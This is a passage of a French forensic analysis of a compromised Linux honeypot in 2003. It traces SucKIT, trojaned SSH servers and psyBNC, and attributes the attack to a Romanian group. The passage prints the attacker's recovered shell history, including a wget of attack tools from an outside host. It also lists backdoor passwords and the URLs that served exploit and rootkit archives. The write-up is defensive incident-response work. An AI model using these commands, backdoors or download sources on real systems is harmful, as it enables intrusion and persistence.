un serveur SSH 1.2.32. Ils sont ensuite installés par le programme inst
.
47169 -rw-r--r-- 1 root root 5636 Sun Aug 10 15:30:54 2003 /usr/lib/adore.o 47171 -rw-r--r-- 1 root root 1016 Sun Aug 10 15:30:54 2003 /usr/lib/cleaner.o 47165 -rwx------ 1 apache apache 230163 Sun Aug 10 15:30:54 2003 /usr/lib/sp0 47166 -rw-r--r-- 1 apache apache 621 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_cfg 47161 -rw-r--r-- 1 apache apache 532 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_key 47164 -rw-r--r-- 1 apache apache 513 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_seed
SucKIT est un rootkit assez connu.
-rwxr-xr-x 1 apache apache 303 Sun Aug 10 15:32:15 2003 /lib/.x/hide Script shell qui logue dans /lib/.x/hide.log -rwxr-xr-x 1 apache apache 59137 Sun Aug 10 15:32:15 2003 /lib/.x/inst Programme d'installation de SucKIT, génère sk -rwxr-xr-x 1 apache apache 25795 Sun Aug 10 15:32:15 2003 /lib/.x/log SucKIT 1.3b client -rwxr-xr-x 1 apache apache 17931 Sun Aug 10 15:32:15 2003 /lib/.x/cl Die Putze 0.6 - The ultimate unix logfile cleaner... -rw-r--r-- 1 root root 1 Sun Aug 10 15:32:15 2003 /lib/.x/ip Devrait contenir l'adresse IP du serveur mais est vide -rwxrwxrwx 1 root root 340 Sun Aug 10 15:32:15 2003 /lib/.x/s/s_h_k.pub Clé SSH publique de root@fred.psiware.net -rwxrwxrwx 1 root root 669 Sun Aug 10 15:32:15 2003 /lib/.x/s/sshd_config Configuration d'un serveur SSH écoutant sur le port 22 -rwxrwxrwx 1 root root 536 Sun Aug 10 15:32:15 2003 /lib/.x/s/s_h_k Clé SSH privée pour root@fred.psiware.net -rwxrwxrwx 1 root root 5192 Sun Aug 10 15:32:15 2003 /lib/.x/s/lsn sniffer compressé avec UPX, écrit ces résultats dans /lib/.x/s/mfs -rw-rw-r-- 1 root root 12288 Sun Aug 10 15:32:16 2003 /etc/psdevtab utilisé par top et ps -rwxrwxrwx 1 root root 217667 Sun Aug 10 15:32:16 2003 /lib/.x/s/xopen Serveur SSH 1.2.32 -r--r--r-- 1 root root 5 Sun Aug 10 15:32:16 2003 /lib/.x/s/port 3128, le port d'écoute de xopen -rwxr-xr-x 1 root root 28632 Sun Aug 10 15:32:16 2003 /lib/.x/sk SucKIT version 1.3b -rw-r--r-- 1 root root 6 Sun Aug 10 15:32:17 2003 /lib/.x/s/pid 25241: pid de xopen -rw-r--r-- 1 root root 2442 Sun Aug 10 15:32:17 2003 /lib/.x/install.log SucKIT install log -rw-r--r-- 1 root root 222 Sun Aug 10 15:32:17 2003 /lib/.x/hide.log SucKIT log -rwxr-xr-x 1 apache apache 1223 Sun Aug 10 15:32:17 2003 /lib/.x/.boot Script shell qui envoie par mail des informations à skiZophrenia_sick@yahoo.com
/lib/.x/.boot
a été lancé:
Aug 10 15:32:33 localhost sendmail[25629]: h7AMWXH25629: from=root, size=8198, class=0, nrcpts=1, msgid=>200308102232.h7AMWXH25629@sbm79.dtc.apu.edu<, relay=root@localhost Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service unavailable Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service unavailable
apache 21510 0.0 0.4 1476 392 ? S 15:28 0:00 ./bash apache 21511 0.0 1.1 2188 1124 p3 S 15:28 0:00 sh -i apache 23289 0.0 0.3 1376 296 p3 S 15:30 0:00 /dev/shm/k apache 23292 0.0 0.0 0 0 p3 Z 15:30 0:00 [k <zombie>] apache 23302 0.0 0.0 0 0 p3 Z 15:30 0:00 [k <zombie>] root 14641 0.0 0.6 1484 632 p3 R 15:53 0:00 ps aux root 14642 0.0 1.1 2184 1132 p3 R 15:53 0:00 /bin/sh root 23306 0.0 1.1 2184 1132 p3 S 15:30 0:00 /bin/sh root 25239 0.0 0.3 1880 336 p3 S 15:32 0:00 /lib/.x/s/xopen -q -p root 25241 0.0 0.7 1888 672 ? S 15:32 0:00 /lib/.x/s/xopen -q -p root 25247 0.0 0.7 1668 732 ? S 15:32 0:00 /lib/.x/s/lsn root 25542 0.0 1.1 2116 1064 ? S 15:32 0:00 /lib/.x/s/xopen -q -p root 26268 0.0 1.3 2448 1300 ? S 15:33 0:00 -bash
/lib/.x/.boot a été déplacé depuis /var/tmp/.boot (Rechercher l'inode 104396 sous Autopsy)
Extrait du fichier /lib/.x/s/mfs
============================================================ Time: Sun Aug 10 15:40:47 Size: 100 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:40:50 Size: 80 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:40:56 Size: 60 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:41:08 Size: 40 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:41:32 Size: 20 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------
Des connexions FTP ont été faites sur 63.99.224.38, mais on ignore ce qui a été téléchargé.
[root@sbm79 root]# tar tvzf sslstop.tar.gz drwxrwxr-x tvc/tvc 0 2002-10-16 13:30:29 sslstop/ -rw-rw-r-- tvc/tvc 87 2002-10-15 12:31:50 sslstop/Makefile -rw-rw-r-- tvc/tvc 2794 2002-10-15 13:10:57 sslstop/sslport.c -rw-rw-r-- tvc/tvc 1809 2002-10-15 13:00:10 sslstop/sslstop.c
/root/sslstop.tar.gz a été déplacé depuis /lib/.x/s.tgz
sslstop
modifie le fichier httpd.conf pour désactivé le support SSL.
sslport
modifie ce même fichier pour remplacer le port HTTPS par
défaut(443) en un autre.
Parce que HAVE_SSL
a été remplacé par HAVE_SSS
dans
le fichier de configuration/etc/httpd/conf/httpd.conf
,
on sait que sslstop a été utilisé.
-rw-r--r-- 1 root root 1627 Sun Aug 10 15:49:47 2003 /root/sslstop.tar.gz -rw-rw-r-- 1 500 500 87 Sun Aug 10 15:50:46 2003 /root/sslstop/Makefile -rw-rw-r-- 1 500 500 1809 Sun Aug 10 15:50:46 2003 /root/sslstop/sslstop.c -rwxr-xr-x 1 root root 16452 Sun Aug 10 15:52:00 2003 /root/sslstop/sslstop -rwxr-xr-x 1 root root 17351 Sun Aug 10 15:52:00 2003 /root/sslstop/sslport -rw------- 1 root root 235 Sun Aug 10 15:54:04 2003 /.bash_history -rw-r--r-- 1 root root 50851 Sun Aug 10 15:54:18 2003 /etc/httpd/conf/httpd.conf -rw-rw-r-- 1 500 500 2794 Sun Aug 10 15:54:48 2003 /root/sslstop/sslport.c
id uptime ./inst hostname hostname sbm79.dtc.apu.edu cd /dev/shm/sc ./install sbm79.dtc.apu.edu rm -rf /var/mail/root ps x cd /tmp ls -a wget izolam.net/sslstop.tar.gz ps x ps aux | grep apache kill -9 21510 21511 23289 23292 23302
La timeline fournie énormement d'informations. Par exemple, à 15:56:11,
le fichier /etc/pam.d/su
a été accédé, le pirate a donc utilisé
la commande su.
-rw-r--r-- 1 root root 312188 Sun Aug 10 15:57:12 2003 /etc/opt/psyBNC2.3.1.tar.gz drwxr-xr-x 2 root root 8192 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/help drwxr-xr-x 2 root root 4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/lang drwxrwxr-x 3 root root 4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/menuconf drwxrwxr-x 3 root root 4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/scripts -rw-r--r-- 1 root root 31507 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/CHANGES -rw------- 1 root root 17982 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/COPYING -rw-r--r-- 1 root root 2661 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/FAQ -rw-r--r-- 1 root root 2129 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/Makefile -rw-r--r-- 1 root root 35785 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/README -rw-r--r-- 1 root root 15738 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/SCRIPTING -rw-r--r-- 1 root root 509 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/TODO -rw------- 1 root root 929 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/config.h -rwxrwxr-x 1 root root 369 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/psybncchk -rw------- 1 1004 490 3901 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/targets.mak drwxrwxr-x 2 root root 4096 Sun Aug 10 16:01:17 2003 /etc/opt/psybnc/tools -rw-r--r-- 1 root root 729 Sun Aug 10 16:01:17 2003 /etc/opt/psybnc/makefile.out -rwxr-xr-x 1 root root 16856 Sun Aug 10 16:01:18 2003 /etc/opt/psybnc/makesalt drwxr-xr-x 2 root root 4096 Sun Aug 10 16:01:41 2003 /etc/opt/psybnc/src
psyBNC a été téléchargé depuis www.psychoid.lam3rz.de/psybnc. c'est une sorte de proxy IRC que l'on peut utiliser pour apparaître toujours en ligne.
-rw------- 1 root root 6 Sun Aug 10 16:02:46 2003 /etc/opt/psybnc/psybnc.pid -rwxr-xr-x 1 root root 214636 Sun Aug 10 16:02:36 2003 /etc/opt/psybnc/initd -rw------- 1 root root 2622 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/log/psybnc.log -rw-r--r-- 1 root root 47 Sun Aug 10 16:04:15 2003 /usr/lib/libice.log
root 15119 0.0 1.3 2296 1240 ? S 16:02 0:00 initd
Extrait du fichier /usr/lib/libice.log
proxyscan.undernet.org => 192.168.1.79 [23] ?k
Extrait de /lib/.x/s/mfs
============================================================ Time: Sun Aug 10 16:04:13 Size: 44 Path: proxyscan.undernet.org => 192.168.1.79 [23] ------------------------------------------------------------
De /var/log/secure
Aug 10 16:04:14 localhost xinetd[732]: START: telnet pid=15169 from=193.109.122.5
Extrait de psybnc.log
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336 Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100 Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind) Sun Aug 10 16:02:46 :Loading all Users.. Sun Aug 10 16:02:46 :No Users found. Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119) Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic Sun Aug 10 16:03:36 :User sic () has no server added Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 (). Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 () Sun Aug 10 16:04:47 :Hop requested by sic. Quitting. Sun Aug 10 16:04:47 :User sic got disconnected from server. Sun Aug 10 16:04:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
=============================================================================================== -rw------- 1 root root 512 Sun Aug 10 16:32:18 2003 /lib/.x/s/r_s RandomSeed for SSH server xopen drwxrwxr-x 2 root root 4096 Sun Aug 10 17:50:39 2003 /etc/opt/psybnc/log drwxrwxr-x 2 root root 4096 Sun Aug 10 17:52:12 2003 /etc/opt/psybnc/motd -rw------- 1 root root 1384 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/psybnc.conf -rw------- 1 root root 1384 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/psybnc.conf.old
Sun Aug 10 16:06:08 :User sic quitted (from sanido-09.is.pcnet.ro) Sun Aug 10 16:06:24 :connect from sanido-09.is.pcnet.ro Sun Aug 10 16:06:25 :User sic logged in. Sun Aug 10 16:06:57 :User sic quitted (from sanido-09.is.pcnet.ro) Sun Aug 10 16:06:59 :connect from sanido-09.is.pcnet.ro Sun Aug 10 16:06:59 :User sic logged in. Sun Aug 10 16:07:26 :User sic quitted (from sanido-09.is.pcnet.ro) Sun Aug 10 16:07:34 :connect from sanido-09.is.pcnet.ro Sun Aug 10 16:07:47 :User sic logged in. Sun Aug 10 16:08:00 :User sic: cant connect to fairfax.va.us.undernet.org port 6667. Sun Aug 10 16:08:06 :User sic () trying fairfax.va.us.undernet.org port 6667 (). Sun Aug 10 16:08:06 :User sic () connected to fairfax.va.us.undernet.org:6667 () Sun Aug 10 16:11:30 :User sic quitted (from sanido-09.is.pcnet.ro) =============================================================================================== Sun Aug 10 17:49:41 :connect from sanido-08.is.pcnet.ro Sun Aug 10 17:49:47 :User sic logged in. Sun Aug 10 17:50:39 :New User:redcode (^C4,1redCode^C8Chicken^C) added by sic Sun Aug 10 17:50:51 :User redcode () has no server added Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro Sun Aug 10 17:51:22 :User redcode logged in. Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 (). Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 () Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) Reason: Closing Link: killme by mesa.az.us.undernet.org (Sorry, your connection class is full - try again later or try another server) Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667 (). Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667 () Sun Aug 10 18:00:49 :User redcode quitted (from sanido-08.is.pcnet.ro) ===============================================================================================
En utilisant psyBNC2, l'utilisateur sic
s'est connecté depuis sanido-09.is.pcnet.ro
au serveur IRC fairfax.va.us.undernet.org. Il a créé un compte nommé redcode
. On
le verra ce nom n'est pas innocent.
Extrait de /var/log/secure
Aug 10 18:58:33 localhost sshd[15287]: Did not receive identification string from 202.85.165.46.
Le système est été suspendu pour analyse.
Comme nous l'avons vu, le système est clairement compromis et l'impact de nos commandes est nul car VMware permet de restaurer le système dans l'état initial. Cependant l'utilisation de la commande passwd, puis ssh pour transférer une copie du disque est clairement visible dans la timeline d'Autopsy.
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name | Banner (using telnet) |
---|---|
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 677/identd | |
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd |
SSH-1.99-OpenSSH_2.9p2 |
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 732/xinetd |
finger @192.168.1.79 Login Name Tty Idle Login Time Office Office Phone root root tty1 Aug 9 14:35 |
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 732/xinetd |
220 sbm79.dtc.apu.edu FTP server (Version wu-2.6.1-18) ready. |
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 732/xinetd |
Red Hat Linux release 7.2 (Enigma) Kernel 2.4.7-10 on an i686 This server is operated for authorized users only. All use is subject to monitoring. Unauthorized users are subject to prosecution. If you're not authorized, LOG OFF NOW! login: |
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 759/sendmail: accep | |
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 845/smbd | |
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D | |
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D | |
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D |
SSH-1.5-By-ICE_4_All ( Hackers Not Allowed! ) |
tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd |
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1 |
tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd |
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1 |
tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen |
SSH-1.5-1.2.32 |
udp 0 0 0.0.0.0:3049 0.0.0.0:* LISTEN 25239/xopen | backdoor from ELF_GMON.A virus |
Les PID des programmes suspects sont
tcp 0 0 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd tcp 0 9 192.168.1.79:1149 64.62.96.42:6667 ESTABLISHED 15119/initd tcp 0 0 192.168.1.79:1146 199.184.165.133:6667 ESTABLISHED 15119/initd
psyBNC a été contacté par 213.154.118.200 (sanido-08.is.pcnet.ro) et s'est connecté sur les serveurs IRC 64.62.96.42 (mesa.az.us.undernet.org) et 199.184.165.133 (undernet.irc.rcn.net).
Avec Autopsy, chercher la chaîne de texte SSH_ORIGINAL_COMMAND
,
cette chaîne est présente dans les serveurs SSH.
Fragment | Offset | Fichier | Date d'installation |
---|---|---|---|
38938 | 1340 | /lib/.x/s/xopen | Sun Aug 10 15:32:16 2003 |
39825 | 3370 | rootkit/udhss in rootkit.tar (Deleted, Fragment 39390-39943 ?) | |
40045 | 2538 | ? (effacé) | |
113067 | 2394 | /usr/share/doc/openssh-2.9p2/ChangeLog | |
114372 | 2250 | /usr/lib/sp0 | Sun Aug 10 15:30:54 2003 |
115419 | 810 | rootkit/udhss (effacé) | |
138335 | 3960 | /usr/sbin/sshd | correspond au checksum d'origine (93289e1e63b0b798117f64818a3b0ad7), le rpm a été installé le lundi 14 juillet 2003 01:54:37 PDT (rpm -qi openssh-server). La date de création est du dimanche 10 août 13:33:57, mais c'est parce que la commande chattr a été utilisé sur tout les fichiers du répertoire. |
201213 | 586 | /usr/bin/smbd -D, copie de sand/ava1 (MD5: 0c9fd2ff1740a4ae5b4a1a3a82846f44) | Sun Aug 10 13:33:33 2003 |
Le fragment 115419 appartient à un serveur SSH . Comme SSH_ORIGINAL_COMMAND
a été trouvé au même offset (810) que dans rootkit/udhss
, ce fragment
a du être utilisé par rootkit/udhss
.
[kmaster@christophe sotm29]$ strings -fa -t d abc/nou sand/ava1 sand/sshd rootkit/udhss adore/sp0|grep "SSH_ORIGINAL_COMMAND" abc/nou: 156234 SSH_ORIGINAL_COMMAND sand/ava1: 156234 SSH_ORIGINAL_COMMAND sand/sshd: 156234 SSH_ORIGINAL_COMMAND rootkit/udhss: 152362 SSH_ORIGINAL_COMMAND adore/sp0: 166090 SSH_ORIGINAL_COMMAND [kmaster@christophe sotm29]$ echo "156234 % 4096"|bc 586 [kmaster@christophe kmaster]$ echo "152362 % 4096"|bc 810 [kmaster@christophe sotm29]$ echo "166090 % 4096"|bc 2250
rk.tar.gz et
abc.tgz ont été téléchargé sur le serveur.
rk.tar.gz
a été décompressé car le fichier
/usr/bin/smbd -D
en faisant partie a été installé,
par contre, abc.tgz
ne semble pas avoir été utilisé.
Il y a donc potentiellement deux serveurs SSH:
Les serveurs SSH suivants sont en service (ps):
/lib/.x/s/xopen
est un serveur SSH version 1.2.32 écoutant sur le port TCP 3128.
./strace -f -p 25241 -e trace=file
exécuté sur le serveur ne révèle aucun accès suspect
à des fichiers. Par contre, il y a la backdoor créé par le virus ELF_GMON.A sur le port UDP 3049,
cette backdoor est ouverte quand xopen est lancé en tant que root. Ce virus détecte quand il est tracé
en appelant ptrace (man 2 ptrace) pour éviter la détection par strace, ltrace et des outils similaires.
Aucune backdoor trouvé en dehors de celle de ELF_RST.B.
[kmaster@christophe sotm29]$ strings -a adore/sp0|less /lib/ld-linux.so.2 __gmon_start__ ... /bin/sh xxxxyyyyzzzz Y[XXXXXX GET /~telcom69/gov.php HTTP/1.0 ppp0 eth0 ... snortdos tory
[root@sbm79 root]# ./ltrace ./udhss -d -f /usr/lib/sp0_cfg -p 1236 debug: sshd version 1.2.27 [i586-unknown-linux] debug: Initializing random number generator; seed file /usr/lib/sp0_seed log: Server listening on port 1236. log: Generating 768 bit RSA key. Generating p: ...............++ (distance 308) Generating q: ...............++ (distance 292) Computing the keys... Testing the keys... Key generation complete. log: RSA key generation complete.
ltrace a été incapable de le tracer! gdb 5.2 ne peut ouvrir ce fichier. Ce fichier a été extrait d'un fichier tar récupéré depuis l'image du disque dur, archive tar endommagé.
[kmaster@christophe sotm29]$ strings -a rootkit/udhss /lib/ld-linux.so.2 __gmon_start__ ... invalid distance code invalid literal/length code OSF ...
Les chaînes __gmon_start__
et OSF
sont présentes.
Ce fichier semble infecté by le virus ELF_GMON.A même si l'antivirus ne l'a pas détecté.
Serveur SSH original.
/usr/bin/smbd -D
est un serveur SSH écoutant sur le port TCP 2003.
Sur le honeypot, lançons strace sur le serveur SSH (strace -p PID_of_SSH_server
).
Puis, connectons nous en SSH sur le port 2003 du serveur
+-[ User Login Incoming ]----------- --- --- - - | username: %s password: %s%s hostname: %s +----------------------------------- ----- --- -- -- -
smbd -D
sauvegarde le login et le mot de passe dans /usr/lib/libshlog
.
Ce fichier n'existait pas jusqu'à présent. L'étape suivante a été de rechercher une backdoor
en relevant tout les appels aux fonctions des librairies avec ltrace.
[root@sbm79 log]# /root/ltrace /usr/bin/smbd\ -D -d ... crypt("pipo", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$r2C6cpOLe69xF6qOQvKE"... strcmp("$1$YTukJ7rA$r2C6cpOLe69xF6qOQvKE"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = -1 strcmp("pipo", "rossignol") = -1
Bingo, il y a une backdoor, son mot de passe est rossignol
(Comme le passe partout, pas l'oiseau).
[root@sbm79 root]# ./ltrace ./sshd -d -p 1235 ... crypt("root", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"... strcmp("$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = 0 fopen("/usr/lib/libsh.so", "a") = 0x08089fd8 fprintf(0x08089fd8, "+-[ User Login Incoming ]-------"...) = 49 fprintf(0x08089fd8, "| username: %s password: %s%s ho"..., "root", "root", "") = 54 fprintf(0x08089fd8, "+-------------------------------"...) = 56 fclose(0x08089fd8) = 0 strcmp("root", "axion") = 1
Il y a une backdoor avec le mot de passe axion
et les mots de passe sont
enregistrés dans le fichier
/usr/lib/libsh.so
.
[root@sbm79 root]# ./ltrace ./nou -d -p 1234 ... crypt("root", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"... strcmp("$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = 0 fopen("/usr/lib/libshlog", "a") = 0x08089fd0 fprintf(0x08089fd0, "+-[ User Login Incoming ]-------"...) = 49 fprintf(0x08089fd0, "| username: %s password: %s%s ho"..., "root", "root", "") = 54 fprintf(0x08089fd0, "+-------------------------------"...) = 56 fclose(0x08089fd0) = 0 strcmp("root", "UpguarD") = 1
Il y a une backdoor avec le mot de passe UpguarD
et les mots de passe
sont enregistrés dans le fichier /usr/lib/libshlog
.
Aucun login/password ne semble avoir été collecté par ces serveurs SSH.
Trojan | Fichier de configuration |
---|---|
/usr/bin/top |
|
/bin/netstat |
|
/bin/ls |
|
/bin/ps |
|
/sbin/ifconfig | |
/etc/rc.d/init.d/functions |
Lance /usr/bin/crontabs -t1 -X53 -p
|
/etc/rc.d/rc.sysinit |
Lance kflushd mais ce fichier n'existe pas.
|
rk.tar.gz: troyen, sniffer et serveur SSH
Le serveur a été piraté depuis 213.154.118.219 en exploitant la faille SSL handshake d'Apache. En utilisant cette vulnérabilité, le pirate a obtenu un accès distant en tant qu'utilisateur apache. Extrait du fragment 114381, Apache: ssl_engine_log,
[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) [10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different [10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) [10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
De nouveaux fichiers appartenant à apache ont fait leurs apparitions sur le serveur
mais rapidement le pirate est devenu root en utilisant
/dev/shm/k
, un exploit pour la faille locale Linux kernel ptrace/kmod.
Le pirate a utilisé plusieurs ordinateurs de Roumanie:
Dans les scripts shell, dans la configuration de psyBNC
(/etc/opt/psybnc/psybnc.conf
), il y a de nombreuses références à
redcode
. La commande strings permet de trouver dans la mémoire
l'URL http://redCode.strobe.org.
Il s'agit du site web d'une équipe de pirate roumain:
"...sunt doar un purtator de cunostinte, care a reusit sa inteleaga cum functioneaza cu adevarat lumea si sunt dispus ca experienta si cunostintele mele sa foloseasca celor care cu nerabdare cauta adevarata libertate..."
Le site web a des liens vers redcode.go.ro.
Selon toute vraisemblance, le pirate a comme pseudo IRC sic
et
fait partit de l'équipe de pirates roumains redCode.
Christophe GRENIER Consultant Sécurité chez Global Secure Site perso: http://www.cgsecurity.org Email perso: grenier@cgsecurity.org
Source | Analyse | Description |
---|---|---|
http://irinel1979.go.ro/a.tgz | a.tgz | Linux kernel ptrace/kmod local root exploit |
http://geocities.com/gavish19/abc.tgz | abc.tgz | SSH server |
http://irinel1979.go.ro/er.tgz | er.tgz | shkit-v4-internal release 2002, a SSH server backdoor |
http://izolam.net/gods | gods | adore LKM and SSH server |
http://inel1979.go.ro/mass2.tgz | mass2.tgz | HTTPS scanner, exploit pour la faille Apache SSL handshake |
http://geocities.com/mybabywhy/rk.tar.gz | rk.tar.gz | troyen, sniffer, serveur SSH |
http://geocities.com/mybabywhy/rk.tar.gz (n'existe plus)/fragment 39390-39943 | rootkit.tar | serveur SSH, security scanner, exploits... |
http://izolam.net/sslstop.tar.gz | sslstop.tgz | Modifie la configuration d'Apache |
http://www.i-need-ftp.as.ro/ttt.tgz | ttt.tgz | Plasmatik-v1-internal release 2002, serveur SSH backdoor similair à shkit |
http://hysteria.sk/sd/sk/ | SucKIT, Linux-i386 kernel-based rootkit | |
http://www.psychoid.lam3rz.de/psybnc | psyBNC, IRC bouncer/proxy/... |